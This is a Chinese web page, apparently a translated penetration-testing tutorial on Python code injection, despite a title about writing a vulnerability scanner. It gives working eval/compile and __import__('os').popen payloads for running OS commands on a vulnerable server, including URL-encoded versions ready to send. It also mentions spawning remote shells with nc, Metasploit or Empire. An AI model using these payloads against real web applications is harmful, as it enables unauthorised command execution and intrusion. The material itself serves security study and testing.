怎么用python写一个漏洞扫描器

1.如何使用python查找网站漏洞如果你的Web应用中存在Python代码注入漏洞的话 , 攻击者就可以利用你的Web应用来向你后台服务器的Python解析器发送恶意Python代码了 。
这也就意味着 , 如果你可以在目标服务器中执行Python代码的话 , 你就可以通过调用服务器的操作系统的指令来实施攻击了 。通过运行操作系统命令 , 你不仅可以对那些可以访问到的文件进行读写操作 , 甚至还可以启动一个远程的交互式Shell(例如nc、Metasploit和Empire) 。
为了复现这个漏洞 , 我在最近的一次外部渗透测试过程中曾尝试去利用过这个漏洞 。当时我想在网上查找一些关于这个漏洞具体应用方法的信息 , 但是并没有找到太多有价值的内容 。
在同事Charlie Worrell(@decidedlygray)的帮助下 , 我们成功地通过Burp POC实现了一个非交互式的shell , 这也是我们这篇文章所要描述的内容 。因为除了Python之外 , 还有很多其他的语言(例如Perl和Ruby)也有可能出现代码注入问题 , 因此Python代码注入属于服务器端代码注入的一种 。
实际上 , 如果各位同学和我一样是一名CWE的关注者 , 那么下面这两个CWE也许可以给你提供一些有价值的参考内容: 1. CWE-94:代码生成控制不当(‘代码注入’)2. CWE-95:动态代码评估指令处理不当(‘Eval注入’)漏洞利用 假设你现在使用Burp或者其他工具发现了一个Python注入漏洞 , 而此时的漏洞利用Payload又如下所示: eval(compile('for x in range(1):\n import time\n time.sleep(20)','a','single'))那么你就可以使用下面这个Payload来在目标主机中实现操作系统指令注入了: eval(compile("""for x in range(1):\\n import os\\n os.popen(r'COMMAND').read()""",'','single'))实际上 , 你甚至都不需要使用for循环 , 直接使用全局函数“__import__”就可以了 。具体代码如下所示: eval(compile("""__import__('os').popen(r'COMMAND').read()""",'','single'))其实我们的Payload代码还可以更加简洁 , 既然我们已经将import和popen写在了一个表达式里面了 , 那么在大多数情况下 , 你甚至都不需要使用compile了 。
具体代码如下所示: __import__('os').popen('COMMAND').read() 为了将这个Payload发送给目标Web应用 , 你需要对其中的某些字符进行URL编码 。为了节省大家的时间 , 我们在这里已经将上面所列出的Payload代码编码完成了 , 具体如下所示: param=eval%28compile%28%27for%20x%20in%20range%281%29%3A%0A%20import%20time%0A%20time.sleep%2820%29%27%2C%27a%27%2C%27single%27%29%29param=eval%28compile%28%22%22%22for%20x%20in%20range%281%29%3A%5Cn%20import%20os%5Cn%20os.popen%28r%27COMMAND%27%29.read%28%29%22%22%22%2C%27%27%2C%27single%27%29%29param=eval%28compile%28%22%22%22__import__%28%27os%27%29.popen%28r%27COMMAND%27%29.read%28%29%22%22%22%2C%27%27%2C%27single%27%29%29param=__import__%28%27os%27%29.popen%28%27COMMAND%27%29.read%28%29接下来 , 我们将会给大家介绍关于这个漏洞的细节内容 , 并跟大家分享一个包含这个漏洞的Web应用 。
在文章的结尾 , 我将会给大家演示一款工具 , 这款工具是我和我的同事Charlie共同编写的 , 它可以明显降低你在利用这个漏洞时所花的时间 。简而言之 , 这款工具就像sqlmap一样 , 可以让你快速找到SQL注入漏洞 , 不过这款工具仍在起步阶段 , 感兴趣的同学可以在项目的GitHub主页[传送门]中与我交流一下 。
搭建一个包含漏洞的服务器 为了更好地给各位同学进行演示 , 我专门创建了一个包含漏洞的Web应用 。如果你想要自己动手尝试利用这个漏洞的话 , 你可以点击这里获取这份Web应用 。